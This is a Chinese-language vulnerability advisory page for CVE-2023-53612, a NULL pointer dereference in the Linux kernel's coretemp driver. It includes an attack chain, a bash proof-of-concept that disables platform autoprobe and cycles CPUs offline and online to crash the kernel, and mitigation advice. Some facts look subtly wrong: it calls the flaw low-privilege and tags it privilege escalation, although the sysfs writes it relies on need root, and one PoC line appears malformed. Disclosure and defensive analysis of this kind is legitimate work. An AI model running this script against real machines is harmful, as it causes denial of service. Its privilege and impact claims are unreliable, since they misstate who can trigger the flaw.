IPBUF安全漏洞报告
English
CVE-2023-53612 CVSS 5.5 中危

CVE-2023-53612 Linux内核coretemp驱动空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53612
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (hwmon coretemp驱动)

相关标签

空指针解引用Linux Kernelhwmoncoretemp本地提权拒绝服务内核漏洞CPU热插拔platform驱动

漏洞概述

CVE-2023-53612是Linux内核中hwmon子系统coretemp驱动存在的一个空指针解引用漏洞。该漏洞源于coretemp平台驱动采用了非传统的设计模式:实际工作由initcall和CPU热插拔通知器全局完成,而驱动本身仅包装了分配操作和通过驱动核心注册hwmon接口的过程。这种动态创建和销毁平台设备以控制接口上下线的逻辑存在缺陷,因为它假设platform_device_add()会同步绑定驱动并在返回前设置drvdata。当platform总线的drivers_autoprobe被关闭时,这一假设不成立,导致空指针解引用。此外,在CPU热插拔通知器中执行此类操作还会导致挂起死锁,并对其他驱动或子系统(可能希望从平台总线通知器中合法注册CPU热插拔通知器)造成lockdep问题。该漏洞的CVSS评分为5.5,属于中危级别,需要本地低权限访问即可触发,主要影响系统可用性。

技术细节

从技术层面分析,该漏洞的核心问题在于coretemp驱动的平台设备管理逻辑存在竞态条件和错误假设。具体而言:

1. **设计缺陷**:coretemp驱动通过platform_device_add()动态创建和销毁平台设备来管理hwmon接口的上下线,这一设计假设platform_device_add()会同步完成驱动绑定并设置drvdata。

2. **触发条件**:当platform总线的drivers_autoprobe被关闭(设置为0)时,platform_device_add()不会自动触发驱动绑定,导致drvdata保持为NULL。当后续代码尝试访问drvdata时,将触发空指针解引用。

3. **死锁风险**:在CPU热插拔通知器中动态管理平台设备会导致挂起死锁,因为CPU热插拔通知器与挂起机制存在锁依赖关系。

4. **lockdep问题**:该设计还会对其他尝试从平台总线通知器注册CPU热插拔通知器的驱动或子系统造成lockdep警告。

**利用方式**:攻击者需要本地低权限访问目标系统,关闭platform总线的autoprobe功能(通过sysfs设置),然后触发coretemp驱动的设备添加操作(如加载模块或CPU热插拔事件),即可触发空指针解引用导致系统崩溃或不可用。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地低权限访问权限(通过已有账户或权限提升)
STEP 2
步骤2
攻击者通过sysfs禁用platform总线的autoprobe功能:echo 0 > /sys/bus/platform/drivers_autoprobe
STEP 3
步骤3
触发coretemp驱动的设备添加操作,如加载模块或触发CPU热插拔事件
STEP 4
步骤4
由于platform_device_add()不再同步绑定驱动,drvdata保持为NULL
STEP 5
步骤5
后续代码访问NULL的drvdata,触发内核空指针解引用,导致系统崩溃或不可用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-53612 PoC - Trigger NULL pointer dereference in coretemp driver # This PoC demonstrates how to trigger the vulnerability by disabling # platform bus autoprobe before triggering coretemp device registration. #!/bin/bash # Step 1: Disable platform bus autoprobe echo 0 > /sys/bus/platform/drivers_autoprobe # Step 2: Trigger coretemp driver loading (if not already loaded) modprobe coretemp 2>/dev/null || true # Step 3: Force a CPU hotplug event to trigger the vulnerable code path # This will cause coretemp to try to add platform devices without # proper driver binding, leading to NULL pointer dereference CPU_ONLINE_PATH="/sys/devices/system/cpu" for cpu_dir in ${CPU_ONLINE_PATH}/cpu[0-9]*; do if [ -d "$cpu_dir" ]; then echo 0 > "$cpu_dir/online" 2>/dev/null sleep 1 echo 1 > "$cpu_dir/online" 2>/dev/null fi done # Alternative: Manually trigger platform device addition echo coretemp > /sys/bus/platform/drivers/coretemp/bind 2>/dev/null || true # Expected result: Kernel NULL pointer dereference / system crash # dmesg will show BUG: unable to handle kernel NULL pointer dereference # related to coretemp driver

影响范围

Linux Kernel < 6.6 (coretemp驱动受影响版本)
Linux Kernel 6.6.x (需要检查具体补丁版本)
Linux Kernel 6.1.x (LTS分支受影响)
Linux Kernel 5.15.x (LTS分支受影响)
Linux Kernel 5.10.x (LTS分支受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下方式临时缓解:1) 确保/sys/bus/platform/drivers_autoprobe保持默认值(1),不要手动禁用platform总线的自动探测功能;2) 限制非特权用户对/sys/bus/platform/目录下文件的写权限;3) 监控系统日志,及时发现coretemp相关的内核错误;4) 如非必要,避免动态加载/卸载coretemp模块;5) 关注内核安全公告,及时应用官方补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表